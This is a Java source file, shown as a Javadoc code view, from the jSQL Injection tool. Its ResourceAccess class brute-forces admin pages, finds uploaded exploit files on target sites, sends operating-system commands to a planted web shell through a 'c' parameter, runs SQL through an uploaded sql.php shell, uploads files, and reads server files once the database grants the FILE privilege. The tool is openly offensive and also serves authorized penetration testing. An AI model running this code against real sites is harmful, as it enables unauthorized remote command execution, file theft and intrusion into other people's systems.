View Javadoc
1   /*******************************************************************************
2    * Copyhacked (H) 2012-2025.
3    * This program and the accompanying materials
4    * are made available under no term at all, use it like
5    * you want, but share and discuss it
6    * every time possible with every body.
7    * 
8    * Contributors:
9    *      ron190 at ymail dot com - initial implementation
10   ******************************************************************************/
11  package com.jsql.model.accessible;
12  
13  import com.jsql.model.InjectionModel;
14  import com.jsql.model.accessible.engine.*;
15  import com.jsql.model.bean.database.MockElement;
16  import com.jsql.model.suspendable.Input;
17  import com.jsql.view.subscriber.Seal;
18  import com.jsql.model.exception.JSqlException;
19  import com.jsql.model.suspendable.SuspendableGetRows;
20  import com.jsql.util.ConnectionUtil;
21  import com.jsql.util.LogLevelUtil;
22  import org.apache.commons.lang3.StringUtils;
23  import org.apache.logging.log4j.LogManager;
24  import org.apache.logging.log4j.Logger;
25  
26  import java.io.File;
27  import java.io.IOException;
28  import java.io.InputStream;
29  import java.net.URI;
30  import java.net.URLEncoder;
31  import java.net.http.HttpHeaders;
32  import java.net.http.HttpRequest;
33  import java.net.http.HttpRequest.BodyPublishers;
34  import java.net.http.HttpResponse;
35  import java.net.http.HttpResponse.BodyHandlers;
36  import java.nio.charset.StandardCharsets;
37  import java.nio.file.Files;
38  import java.nio.file.Paths;
39  import java.time.Duration;
40  import java.util.*;
41  import java.util.concurrent.CompletionService;
42  import java.util.concurrent.ExecutionException;
43  import java.util.concurrent.ExecutorCompletionService;
44  import java.util.concurrent.ExecutorService;
45  import java.util.function.BinaryOperator;
46  import java.util.regex.Pattern;
47  
48  /**
49   * Resource access object.
50   * Get information from file system, commands, webpage.
51   */
52  public class ResourceAccess {
53      
54      private static final Logger LOGGER = LogManager.getRootLogger();
55  
56      /**
57       * True if admin page should stop, false otherwise.
58       */
59      private boolean isSearchAdminStopped = false;
60      
61      /**
62       * True if scan list should stop, false otherwise.
63       */
64      private boolean isScanStopped = false;
65  
66      /**
67       * True if ongoing file reading must stop, false otherwise.
68       * If true any new file read is cancelled at start.
69       */
70      private boolean isSearchFileStopped = false;
71  
72      /**
73       * List of ongoing jobs.
74       */
75      private final List<CallableFile> callablesReadFile = new ArrayList<>();
76      private final InjectionModel injectionModel;
77      private final ExploitSqlite exploitSqlite;
78      private final ExploitMysql exploitMysql;
79      private final ExploitOracle exploitOracle;
80      private final ExploitPostgres exploitPostgres;
81      private final ExploitHsqldb exploitHsqldb;
82      private final ExploitH2 exploitH2;
83      private final ExploitDerby exploitDerby;
84      private final ExploitSqlserver exploitSqlserver;
85  
86      // compatible cross-platform win+linux (spaces around plus sign required)
87      public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
88      public static final String WEB_CONFIRM_RESULT = "133717331";
89      public static final String SQL_CONFIRM_CMD = "select 1337";
90      public static final String SQL_CONFIRM_RESULT = "| 1337 |";
91  
92      public static final String SQL_DOT_PHP = "sql.php";
93      public static final String EXPLOIT_DOT_UPL = "exploit.upl";
94      public static final String EXPLOIT_DOT_WEB = "exploit.web";
95      public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
96      public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
97  
98      public static final String LOID_NOT_FOUND = "Exploit loid not found";
99      public static final String ADD_LOID = "loid#create";
100     public static final String WRITE_LOID = "loid#write";
101     public static final String READ_LOID = "loid#read";
102 
103     public static final String DROP_FUNC = "func#drop";
104     public static final String ADD_FUNC = "body#add-func";
105     public static final String RUN_FUNC = "body#run-func";
106     public static final String BODY_CONFIRM = "body#confirm";
107     public static final String UDF_RUN_CMD = "udf#run-cmd";
108 
109     public static final String TBL_CREATE = "tbl#create";
110     public static final String TBL_FILL = "tbl#fill";
111     public static final String TBL_DUMP = "tbl#dump";
112     public static final String TBL_DROP = "tbl#drop";
113     public static final String TBL_READ = "tbl#read";
114 
115     public static final String FILE_READ = "file#read";
116 
117     // TODO should redirect error directly to default output
118     public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
119 
120     public ResourceAccess(InjectionModel injectionModel) {
121         this.injectionModel = injectionModel;
122         this.exploitSqlite = new ExploitSqlite(injectionModel);
123         this.exploitMysql = new ExploitMysql(injectionModel);
124         this.exploitOracle = new ExploitOracle(injectionModel);
125         this.exploitPostgres = new ExploitPostgres(injectionModel);
126         this.exploitHsqldb = new ExploitHsqldb(injectionModel);
127         this.exploitH2 = new ExploitH2(injectionModel);
128         this.exploitDerby = new ExploitDerby(injectionModel);
129         this.exploitSqlserver = new ExploitSqlserver(injectionModel);
130     }
131 
132     /**
133      * Check if every page in the list responds 200 Success.
134      * @param pageNames    List of admin pages to test
135      */
136     public int createAdminPages(String urlInjection, List<String> pageNames) {
137         var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
138         matcher.find();
139         String urlProtocol = matcher.group(1);
140         String urlWithoutProtocol = matcher.group(3);
141 
142         List<String> folderSplits = new ArrayList<>();
143 
144         // Hostname only
145         if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
146             urlWithoutProtocol = "/dummy";
147         }
148         String[] splits = urlWithoutProtocol.split("/", -1);
149         String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
150         for (String folderName: folderNames) {
151             folderSplits.add(folderName +"/");
152         }
153 
154         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetAdminPage");
155         CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
156 
157         var urlPart = new StringBuilder();
158         for (String segment: folderSplits) {
159             urlPart.append(segment);
160             for (String pageName: pageNames) {
161                 taskCompletionService.submit(
162                     new CallableHttpHead(
163                         urlProtocol + urlPart + pageName,
164                         this.injectionModel,
165                         "check:page"
166                     )
167                 );
168             }
169         }
170 
171         var nbAdminPagesFound = 0;
172         int submittedTasks = folderSplits.size() * pageNames.size();
173         int tasksHandled;
174         for (
175             tasksHandled = 0
176             ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
177             ; tasksHandled++
178         ) {
179             nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
180         }
181 
182         this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
183         this.isSearchAdminStopped = false;
184         this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
185 
186         return nbAdminPagesFound;
187     }
188 
189     public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
190         int nbAdminPagesFoundFixed = nbAdminPagesFound;
191         
192         try {
193             CallableHttpHead currentCallable = taskCompletionService.take().get();
194             if (currentCallable.isHttpResponseOk()) {
195                 this.injectionModel.sendToViews(new Seal.CreateAdminPageTab(currentCallable.getUrl()));
196                 nbAdminPagesFoundFixed++;
197                 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
198             }
199         } catch (InterruptedException e) {
200             LOGGER.log(LogLevelUtil.IGNORE, e, e);
201             Thread.currentThread().interrupt();
202         } catch (ExecutionException e) {
203             LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
204         }
205         return nbAdminPagesFoundFixed;
206     }
207 
208     public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
209         var result = String.format(
210             "Searched %s/%s page%s: %s found",
211             tasksHandled,
212             submittedTasks,
213             tasksHandled > 1 ? 's' : StringUtils.EMPTY,
214             nbAdminPagesFound
215         );
216         
217         if (nbAdminPagesFound > 0) {
218             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
219         } else {
220             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
221         }
222     }
223 
224     public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
225         String urlExploitFixed = urlExploit;
226         if (!urlExploitFixed.isEmpty()) {
227             urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
228         }
229         String url = urlExploitFixed;
230         if (StringUtils.isEmpty(url)) {
231             url = this.injectionModel.getMediatorUtils().connectionUtil().getUrlBase();
232         }
233         String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
234         String urlProtocol;
235         if ("/".equals(urlWithoutProtocol)) {
236             urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
237         } else {
238             urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
239         }
240 
241         List<String> directoryNames = new ArrayList<>();
242         String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
243         if (urlWithoutFileName.split("/").length == 0) {
244             directoryNames.add("/");
245         }
246         for (String directoryName: urlWithoutFileName.split("/")) {
247             directoryNames.add(directoryName +"/");
248         }
249         String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
250         if (urlSuccess != null) {
251             urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
252         } else {
253             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
254         }
255         return urlSuccess;
256     }
257 
258     private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
259         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetExploitUrl");
260         CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
261         var urlPart = new StringBuilder();
262 
263         for (String segment: directoryNames) {
264             urlPart.append(segment);
265             taskCompletionService.submit(
266                 new CallableHttpHead(
267                     urlProtocol + urlPart + filename,
268                     this.injectionModel,
269                     "xplt#confirm-url"
270                 )
271             );
272         }
273 
274         String urlSuccess = null;
275         int submittedTasks = directoryNames.size();
276         for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
277             try {
278                 CallableHttpHead currentCallable = taskCompletionService.take().get();
279                 if (currentCallable.isHttpResponseOk()) {
280                     urlSuccess = currentCallable.getUrl();
281                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Connection successful to [{}]", currentCallable.getUrl());
282                     break;
283                 }
284             } catch (InterruptedException e) {
285                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
286                 Thread.currentThread().interrupt();
287             } catch (ExecutionException e) {
288                 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
289             }
290         }
291 
292         this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
293         return urlSuccess;
294     }
295 
296     public String callCommand(String urlCommand) {
297         return this.callCommand(urlCommand, false);
298     }
299 
300     public String callCommand(String urlCommand, boolean isConnectIssueIgnored) {
301         String pageSource;
302         try {
303             pageSource = this.injectionModel.getMediatorUtils().connectionUtil().getSource(urlCommand, isConnectIssueIgnored);
304         } catch (Exception e) {
305             pageSource = StringUtils.EMPTY;
306         }
307         
308         var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
309         regexSearch.find();
310 
311         String result;
312         // IllegalStateException #1544: catch incorrect execution
313         try {
314             result = regexSearch.group(1);
315         } catch (IllegalStateException e) {
316             result = StringUtils.EMPTY;  // fix return null from regex
317             if (!isConnectIssueIgnored) {
318                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
319             }
320         }
321         return result;
322     }
323     
324     /**
325      * Run a shell command on host.
326      * @param command The command to execute
327      * @param uuidShell An unique identifier for terminal
328      * @param urlExploit Web path of the shell
329      */
330     public String runWebShell(String command, UUID uuidShell, String urlExploit) {
331         return this.runWebShell(command, uuidShell, urlExploit, false);
332     }
333     public String runWebShell(String command, UUID uuidShell, String urlExploit, boolean isConnectIssueIgnored) {
334         String result = this.callCommand(
335             urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
336             isConnectIssueIgnored
337         );
338         if (StringUtils.isBlank(result)) {
339             result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
340         }
341         this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));  // Unfreeze GUI terminal
342         return result;
343     }
344 
345     /**
346      * Execute SQL request into terminal defined by URL path, eventually override with database user/pass identifiers.
347      * @param command SQL request to execute
348      * @param uuidShell Identifier of terminal sending the request
349      * @param urlExploit URL to send SQL request against
350      * @param username Username [optional]
351      * @param password password [optional]
352      */
353     public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
354         return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
355     }
356 
357     public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
358         String result = this.callCommand(String.format(
359              "%s?q=%s&u=%s&p=%s",
360              urlExploit,
361              URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
362              username,
363              password
364         ));
365             
366         if (result.contains("<SQLr>")) {
367             List<List<String>> listRows = this.parse(result);
368             if (listRows.isEmpty()) {
369                 result = "Result not found: check your credentials or review logs in tab Network\n";
370             } else {
371                 List<Integer> listFieldsLength = this.parseColumnLength(listRows);
372                 result = this.convert(listRows, listFieldsLength);
373             }
374         }
375 
376         if (isResultSentToView) {
377             this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));  // Unfreeze GUI terminal
378         }
379         return result;
380     }
381 
382     private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
383         var tableText = new StringBuilder("+");
384         for (Integer fieldLength: listFieldsLength) {
385             tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
386         }
387         tableText.append("\n");
388         for (List<String> listFields: listRows) {
389             tableText.append("|");
390             var cursorPosition = 0;
391             for (String field: listFields) {
392                 tableText.append(StringUtils.SPACE)
393                     .append(field)
394                     .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
395                     .append(" |");
396                 cursorPosition++;
397             }
398             tableText.append("\n");
399         }
400         tableText.append("+");
401         for (Integer fieldLength: listFieldsLength) {
402             tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
403         }
404         tableText.append("\n");
405         return tableText.toString();
406     }
407 
408     private List<Integer> parseColumnLength(List<List<String>> listRows) {
409         List<Integer> listFieldsLength = new ArrayList<>();
410         for (
411             var indexLongestRowSearch = 0;
412             indexLongestRowSearch < listRows.getFirst().size();
413             indexLongestRowSearch++
414         ) {
415             int indexLongestRowSearchFinal = indexLongestRowSearch;
416             listRows.sort(
417                 (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
418             );
419             listFieldsLength.add(listRows.getFirst().get(indexLongestRowSearch).length());
420         }
421         return listFieldsLength;
422     }
423 
424     private List<List<String>> parse(String result) {
425         List<List<String>> listRows = new ArrayList<>();
426         var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
427         while (rowsMatcher.find()) {
428             String values = rowsMatcher.group(1);
429             var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
430             List<String> listFields = new ArrayList<>();
431             listRows.add(listFields);
432             
433             while (fieldsMatcher.find()) {
434                 String field = fieldsMatcher.group(1);
435                 listFields.add(field);
436             }
437         }
438         return listRows;
439     }
440 
441     public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
442         var crLf = "\r\n";
443         var boundary = "---------------------------4664151417711";
444         
445         var streamData = new byte[streamToUpload.available()];
446         if (streamToUpload.read(streamData) == -1) {
447             throw new JSqlException("Error reading the file");
448         }
449         
450         String headerForm = StringUtils.EMPTY;
451         headerForm += "--"+ boundary + crLf;
452         headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
453         headerForm += "Content-Type: binary/octet-stream"+ crLf;
454         headerForm += crLf;
455 
456         String headerFile = StringUtils.EMPTY;
457         headerFile += crLf +"--"+ boundary +"--"+ crLf;
458 
459         var httpRequest = HttpRequest.newBuilder()
460             .uri(URI.create(url))
461             .timeout(Duration.ofSeconds(15))
462             .POST(BodyPublishers.ofByteArrays(
463                 Arrays.asList(
464                     headerForm.getBytes(StandardCharsets.UTF_8),
465                     Files.readAllBytes(Paths.get(file.toURI())),
466                     headerFile.getBytes(StandardCharsets.UTF_8)
467                 )
468             ))
469             .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
470             .build();
471 
472         var response = this.injectionModel.getMediatorUtils().connectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
473         HttpHeaders httpHeaders = response.headers();
474         String pageSource = response.body();
475 
476         this.injectionModel.sendToViews(new Seal.MessageHeader(
477             url,
478             null,
479             ConnectionUtil.getHeadersMap(httpRequest.headers()),
480             ConnectionUtil.getHeadersMap(httpHeaders),
481             pageSource,
482             null,
483             null,
484             "upl#multipart",
485             null
486         ));
487         return response;
488     }
489     
490     /**
491      * Check if current user can read files.
492      * @return True if user can read file, false otherwise
493      * @throws JSqlException when an error occurs during injection
494      */
495     public boolean isMysqlReadDenied() throws JSqlException {
496         var sourcePage = new String[]{ StringUtils.EMPTY };
497         String resultInjection = new SuspendableGetRows(this.injectionModel).run(new Input(
498             this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
499             sourcePage,
500             false,
501             1,
502             MockElement.MOCK,
503             "privilege"
504         ));
505 
506         boolean readingIsAllowed = false;
507 
508         if (StringUtils.isEmpty(resultInjection)) {
509             this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
510             this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
511         } else if ("false".equals(resultInjection)) {
512             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
513             this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
514         } else {
515             this.injectionModel.sendToViews(new Seal.MarkFileSystemVulnerable());
516             readingIsAllowed = true;
517         }
518         
519         return !readingIsAllowed;
520     }
521 
522     /**
523      * Attempt to read files in parallel by their path from the website using injection.
524      * Reading file needs a FILE right on the server.
525      * The user can interrupt the process at any time.
526      * @param pathsFiles List of file paths to read
527      * @throws JSqlException when an error occurs during injection
528      * @throws InterruptedException if the current thread was interrupted while waiting
529      * @throws ExecutionException if the computation threw an exception
530      */
531     public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
532         if (
533             this.injectionModel.getMediatorEngine().getEngine() == this.injectionModel.getMediatorEngine().getMysql()
534             && this.isMysqlReadDenied()
535         ) {
536             return Collections.emptyList();
537         }
538 
539         var countFileFound = 0;
540         var results = new ArrayList<String>();
541 
542         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableReadFile");
543         CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
544 
545         for (String pathFile: pathsFiles) {
546             var callableFile = new CallableFile(pathFile, this.injectionModel);
547             taskCompletionService.submit(callableFile);
548             this.callablesReadFile.add(callableFile);
549         }
550 
551         List<String> duplicate = new ArrayList<>();
552         int submittedTasks = pathsFiles.size();
553         int tasksHandled;
554 
555         for (
556             tasksHandled = 0
557             ; tasksHandled < submittedTasks && !this.isSearchFileStopped
558             ; tasksHandled++
559         ) {
560             var currentCallable = taskCompletionService.take().get();
561             if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
562                 var name = currentCallable.getPathFile().substring(
563                     currentCallable.getPathFile().lastIndexOf('/') + 1
564                 );
565                 String content = currentCallable.getSourceFile();
566                 String path = currentCallable.getPathFile();
567 
568                 this.injectionModel.sendToViews(new Seal.CreateFileTab(name, content, path));
569 
570                 if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
571                     LOGGER.log(
572                         LogLevelUtil.CONSOLE_INFORM,
573                         "Folder exploit candidate: {}",
574                         () -> path.replace(name, StringUtils.EMPTY)
575                     );
576                 }
577 
578                 duplicate.add(path.replace(name, StringUtils.EMPTY));
579                 results.add(content);
580 
581                 countFileFound++;
582             }
583         }
584 
585         // Force ongoing suspendables to stop immediately
586         for (CallableFile callableReadFile: this.callablesReadFile) {
587             callableReadFile.getSuspendableReadFile().stop();
588         }
589         this.callablesReadFile.clear();
590         this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
591         this.isSearchFileStopped = false;
592 
593         var result = String.format(
594             "Searched %s/%s file%s: %s found",
595             tasksHandled,
596             submittedTasks,
597             tasksHandled > 1 ? 's' : StringUtils.EMPTY,
598             countFileFound
599         );
600 
601         if (countFileFound > 0) {
602             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
603         } else {
604             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
605         }
606         return results;
607     }
608 
609     public String getResult(String query, String metadata) throws JSqlException {
610         var sourcePage = new String[]{ StringUtils.EMPTY };
611         return new SuspendableGetRows(this.injectionModel).run(new Input(
612             query,
613             sourcePage,
614             false,
615             0,
616             MockElement.MOCK,
617             metadata
618         ));
619     }
620 
621     public String getResultWithCatch(String query, String metadata) {
622         var sourcePage = new String[]{ StringUtils.EMPTY };
623         try {
624             return new SuspendableGetRows(this.injectionModel).run(new Input(
625                 query,
626                 sourcePage,
627                 false,
628                 0,
629                 MockElement.MOCK,
630                 metadata
631             ));
632         } catch (JSqlException ignored) {
633             return StringUtils.EMPTY;
634         }
635     }
636 
637     /**
638      * Mark the search of files to stop.
639      * Any ongoing file reading is interrupted and any new file read
640      * is cancelled.
641      */
642     public void stopSearchFile() {
643         this.isSearchFileStopped = true;
644         for (CallableFile callable: this.callablesReadFile) {
645             callable.getSuspendableReadFile().stop();  // force ongoing business to stop immediately
646         }
647     }
648 
649     public void stopSearchAdmin() {
650         this.isSearchAdminStopped = true;
651     }
652 
653 
654     // Getters and setters
655 
656     public ExploitSqlite getExploitSqlite() {
657         return this.exploitSqlite;
658     }
659 
660     public ExploitMysql getExploitMysql() {
661         return this.exploitMysql;
662     }
663 
664     public ExploitOracle getExploitOracle() {
665         return this.exploitOracle;
666     }
667 
668     public ExploitPostgres getExploitPostgres() {
669         return this.exploitPostgres;
670     }
671 
672     public boolean isSearchAdminStopped() {
673         return this.isSearchAdminStopped;
674     }
675     
676     public void setScanStopped(boolean isScanStopped) {
677         this.isScanStopped = isScanStopped;
678     }
679 
680     public boolean isScanStopped() {
681         return this.isScanStopped;
682     }
683 
684     public ExploitHsqldb getExploitHsqldb() {
685         return this.exploitHsqldb;
686     }
687 
688     public ExploitH2 getExploitH2() {
689         return this.exploitH2;
690     }
691 
692     public ExploitDerby getExploitDerby() {
693         return this.exploitDerby;
694     }
695 
696     public ExploitSqlserver getExploitSqlserver() {
697         return this.exploitSqlserver;
698     }
699 }